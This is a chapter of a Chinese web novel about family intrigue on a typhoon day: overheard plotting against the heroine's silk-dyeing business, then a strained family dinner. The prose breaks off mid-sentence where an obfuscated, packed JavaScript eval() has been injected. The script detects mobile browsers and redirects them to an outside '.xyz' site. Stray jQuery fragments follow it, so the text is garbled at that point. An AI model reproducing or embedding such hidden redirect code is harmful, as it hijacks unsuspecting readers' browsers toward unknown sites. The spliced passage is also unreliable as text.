“告诉方先生,我有急事找他。”
今年的一号台风刚从南边海岛的边角处登陆,随后一个大拐弯,往东边疾驰,实现二次登陆。
空中巨兽的尾巴甩过南州,带来狂风暴雨,将云涧山庄里的园林绿植刮得东倒西歪。
夏立轩直接把他的日产停在方家庄园的门口,干脆得连伞都不打。
已经上了年纪的乔姐,作为老宅的资深管家,正吩咐帮佣关牢门窗。
狂风将她额前的碎发吹得凌乱,于半白半黑的缝隙间瞧见夏立轩冲了进来。
也不顾自己被淋成落汤鸡的狼狈形象,夏立轩一张嘴便说要见方为文。
乔姐:“不是说周六上午不见客的吗?你现在贸然过来,我也不好……”
夏立轩:“乔姐,要不是十万火急我也不会跑来,你就通融一下吧。”
“那可不行。一到下雨天,方先生就尤为烦躁,我可不想挨训。”
“……先生是在书房,对不对?”
乔姐没有说话。
夏立轩见状,直接从乔姐身侧越过,顺着楼梯往上跑,留下一地湿脚印。乔姐作势拦了几下,见夏立轩已然走远,手腕一转,将头发挽到耳后。
楼上的实木门板开了又合,接着是落锁的声音。
乔姐看着夏立轩消失的方向,跟了上去。
她向来走路无声,此时靠在门边,里面传来两人说话的声音。
大概是离门口比较远的缘故,那声音很微弱,还有些许失真
“怎么回事?”方为文的语气很是烦躁,“不是说了周六上午不见客的吗?你最好是真有重要的事情要说。”
“阿轩,别急,先擦一下吧,你都湿透了。”
这座庄园的女主人,祝南枝,也在里面。
“谢谢阿嫂。”夏立轩安静了片刻,接着道,“不知道怎的,甘宁那家伙顺着何欣桦找到了何顺安。”
“何顺安?甘宁?”
里面的气氛明显僵住了。
过了半晌,祝南枝问道:“那家伙没有乱说话吧?”
“他哪敢?”夏立轩说,“他还指望着我们的人照顾他女儿呢,只是……难保甘宁她不往下追究,毕竟,她现在攀上了蜚声贸易,自己的公司又声名鹊起……她现在有实力了。”
“哼,”方为文冷哼一声,“不过是拿了几个单子,这就叫有实力了?也不想想这么多年来,是谁在养着她们奶孙三代?”
乔姐的眉毛轻轻一跳。
所谓“养着”,不过是方为文的怀柔策略。
温水煮青蛙,当囡囡对一切无欲无求,自觉地远离风暴中心,他们方为文一家子也就安全了。
祝南枝:“不过,宁莨云裳这玩意倒是挺有潜力的。以前只觉得香云纱做起来辛苦,还不赚钱,没想到被甘宁和叶雅苓一通操作,竟成了摇钱树。看来,你也有看走眼的时候。”
这番话酸溜溜的,方为文即刻道:“说白了,也是姓高的那群家伙无能,竟连一个不成气候的铺子也拿不下来。不然,我哪需要拿那个什么农场开刀?真是阿弥陀佛……”
“人家原本就想拉你一起合作来着,可你偏不,选择坐山观虎斗,现在好了,小老虎变成大老虎,随时要把你撕了。”
“放心,他们不会找到证据的。倒是你啊,阿轩,这次怎么这么不谨慎?”
夏立轩一声长叹:“她和她那群手下个顶个的人高马大,我哪知道会这么不中用?何顺安心狠手辣,没想到生了这么个女儿,就连做坏事都正得发邪。”
祝南枝轻笑:“不是说嘛,四肢发达头脑简单。”
夏立轩:“还得怪基围那群民警,竟将一个绑匪的女儿宠成了废物,不然,用起来会趁手许多。”
方为文:“我们暗中资助何欣桦他们的事没有暴露吧?”
夏立轩:“这个你放心,账户都是洗了好几手的,查不出来。就连何欣桦自己都不知道,只是……也许我们需要给何顺安适当施压,或者再想别的办法。”
“你既然能来找我,想必已经想好了别的办法?”
“现在,高志威那边对我们有所求。”
“哼,那群成事不足的家伙,事到如今还想拉我上贼船……他怎么说?”
“既然叶雅苓不肯放手经营权,那便只好釜底抽薪……等对外投资部和宁莨云裳到手了,再转给……到时候,一手交钱一手交货,两家便宜……对我们双方都有利……”
中间的声音忽大忽小,叫门外的人听不清。
乔姐听到一半,耳机传来厨娘的话:“乔姐,今天的脆肉皖怕是送不过来了,可那是大少和三姐最喜欢的,你要不要下来改一下菜单?要是耽搁了家宴可麻烦了。”
站在门口不好说话,乔姐隐身到旁边主卧的洗手间里,随后拿起脏衣篓,说:“我这就过来。”
“啊,家宴?”
小院的走廊上,几只小猫被天雷和闪电吓得瑟瑟发抖,躲在甘宁脚边。
甘宁一边顺着小猫柔软的长毛,一边对电话里的方砚秋说:“妈,他们向来没有邀请我们的习惯,怎么突然就让我回去吃饭?”
“今天不是周六吗?而且又是台风天,想必你们也晒不了纱,倒不如回家吃顿饭,大家联络一下感情?”
“现在可是红色暴雨警告哦,你就说我怕死,不敢在雨中开车呗。而且,虽说没法晒莨了,可还是有很多订单需要赶工的,过几天我还得出差,实在是腾不开时间。”
“……行吧,反正我也就是个传话的,不来也没关系,不来见我和你姥也没关系。”
“……妈……”
“你都回来快半年了,我们拢共才见了几次面?之前你外婆跟我抱怨的时候,我还替你说好话,说你忙,说你要创业,结果呢?现在,你连我也……唉……”
方砚秋不知道为何突然发起牢骚,甘宁只好说:“这样吧,这雨时有时无的,等停了我就回去,好不好?叔公那边你帮我说一声,我不一定能准时到,全看天气,你们要是人齐了,就先吃。”
“那行!”老母亲的开心溢于言表,“思思也一起回来吗?”
“她……”甘宁朝正在做手工的卜思凡看了一眼,“我先问问她……”
“姐姐,姐姐,快看看我。”
一旁,卜思凡刚做完一条小龙,正献宝一样端在人群之中。
薇薇安和新入职的几位设计师正在为剧组的服装赶工,看着小龙建模一样完美的身姿和针脚,鼓掌夸赞。
她们在一声声的“姐姐”中逐渐迷失了自我,真把老祖宗当成了小朋友一般哄着。
甘宁:“……”
真不知道是从哪里学来的这招。
“思思,”甘宁打断了她的显摆,问她,“方为文喊我回老宅吃饭,你要不要一起去?”
“现在吗?”卜思凡从椅子上一跃而下,“那可是龙潭虎穴,既然你要去,我当然也得去。”
“行,那等外面的雨停了,我们就出发吧。”
甘宁刚说完,外面的雨十分听话地停了。
薇薇安:“哇哦,连个天都要你回那个家。快去风流快活吧。”
“……”甘宁很是无奈地耸耸肩,“我也是迫不得已。你们也别加班太久了,今天周六,到外面吃点好的,然后就散了吧。”
“得咧,多谢老板。”薇薇安乖乖把转账二维码奉上。
下过雨的南州没了暑热,走在山路上也是清爽。
乔姐候在门口,不等宾利停稳,人就迎上前来:“囡囡。”
甘宁已经许久没听
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15803139|169887||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
她这么叫自己了。
最近一次,还是她被方景云关进地下室的时候。
她保持基本的礼貌向她点头致意,拉着卜思凡的手走进老宅。
老宅的豪华一如往昔,不仅没有受到外面经济大环境的影响,还越发奢靡。
甘宁停在玄关处一幅巨大的油画面前,从笔触和角落那个故意隐藏起来的签名,认出了其背后的价值。
四个月前,它还没有挂在这里,而是出现在港岛苏富比拍卖场。
与之相对比,甘宁从叶雅苓身上薅来的两百万简直就是九牛一毛。
她衷心希望云涧实业真如这画中的城堡一样,固若金汤,别被一阵忽如其来的大风就吹倒了。
方家人均已到齐,围坐在二十人桌前,倒是显得宽松。
自动转盘中间堆着一盆枯山水,零星几碟坚果在边边转着,饭菜还没叫起。
方为文和祝南枝热情得可怕,似乎四个月前的那场纷争不过是梦话。现在梦醒了,你我依旧血脉相连。
甘宁心里在骂街,旁人看来却是春风佛面,唯有她的三位母系长辈看出了她内心的不耐烦。
祝南枝好客,看见甘宁身旁的卜思凡就夸:“哎哟哟,哪来这么水灵精致的小丫头,长得像个民国时期的大小姐。”
梁语棠抿了抿老到干瘪的嘴唇:“……”
方砚秋笑着眯起了鱼尾纹:“……”
甘宁继续礼貌点头:“……”
三人心里:虽然没说对,但论岁数,也差不多了。
民国大小姐笑嘻嘻地坐在甘宁和方砚秋中间,故意夹起了嗓子:“多谢这位老奶奶。”
祝南枝最讨厌别人叫她奶奶,眉边的青筋突突地跳,却还得维持体面,温柔地叫乔姐上菜。
那条脆肉皖命不好,本来以为今天能逃过一劫,最终不敌天公和缠人的食客,被切成了肉片,抬上了餐桌。
祝南枝手腕一转,无视电动餐桌自带的转速,把那个用来摆盘的死不瞑目的鱼头转到卜思凡面前,说:“多吃点,吃鱼聪明。”
“多谢老奶奶。”卜思凡一连夹了数片,把筷子放下,也将手腕一转,把一道酸梅猪手还给了祝南枝,随后夹起嗓子,一派天真浪漫,礼尚往来,“老奶奶多吃胶原蛋白,听说能少长皱纹。当然,要是老奶奶您天天医美,当我没说,嘻嘻。”
甘宁默默吃饭,眼观鼻鼻观心。只要没人说破,事情也就不会尴尬。
也许是祝南枝的三女儿看不下去了,主动拿起了酒杯,站起身来:“别只顾着吃啊。囡囡回来这么久了,我们都还没有庆祝呢,听说近来创业也迎来了开门红,真是厉害。来,让我们为囡囡举杯!”
甘宁只好站起身:“谢谢表姨,我待会儿还要开车,就以橙汁代酒吧。”
方为文主动举杯过来碰了碰:“我之前就说过,囡囡是曾孙辈中最有出息的,我爸真是没有看走眼。”
祝南枝:“是啊是啊,不过也不能只顾着工作,这个家还是要多回来的。”
“哈哈哈,”甘宁一一碰过,“是是是,说的是。”
卜思凡默默喝着卡士奶,看着他们迎来送往,心道,人这张脸啊,真是变得快。
一轮寒暄过后,不知怎的,一桌子人的话题便很自然地转向了房地产,随后一个眼神看向了甘宁。
大表舅:“云涧实业也该转型了,不能坐吃山空,得找找别的出路。现在不是很流行说嘛,第二增长曲线。”
三表姨:“我看服装行业好像就不错啊。”
二表舅:“什么不错?你那是没研究明白,普通服装早就卷得不行了。要想赚钱,就得像囡囡那样的,跟什么非遗、文创挂上钩,你说是吧,囡囡?”
好家伙,绕了这么一大圈,原来在这里等着。